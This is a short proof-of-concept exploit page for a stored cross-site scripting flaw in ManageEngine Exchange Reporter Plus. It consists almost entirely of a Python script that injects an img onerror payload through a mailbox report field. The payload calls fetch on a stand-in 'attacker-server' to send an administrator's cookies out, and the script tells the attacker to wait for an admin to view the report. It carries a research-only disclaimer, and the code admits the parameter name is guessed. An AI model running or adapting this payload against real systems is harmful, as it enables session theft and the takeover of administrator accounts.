Zohocorp ManageEngine Exchange Reporter Plus < 5802
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (example)
target_url = "https://target-site/exchange-reports/showMailboxPermissions.do"
# Attacker's session cookie (low privilege)
cookies = {
"JSESSIONID": "ATTACKER_SESSION_ID"
}
# Payload demonstrating Stored XSS
# This payload attempts to steal cookies when an admin views the report
xss_payload = '<img src=x onerror=fetch(\'http://attacker-server/?c=\'+document.cookie)>'
# Data to be sent in the request
# The specific parameter name 'mailboxName' is hypothetical based on the report description
payload_data = {
"mailboxName": xss_payload,
"reportType": "permissions"
}
try:
# Send the malicious request to store the payload
response = requests.post(target_url, data=payload_data, cookies=cookies, verify=False)
if response.status_code == 200:
print("[+] Payload injected successfully.")
print("[*] Wait for an administrator to view the 'Permissions Based on Mailboxes' report.")
else:
print(f"[-] Injection failed. Status code: {response.status_code}")
except Exception as e:
print(f"[!] Error: {e}")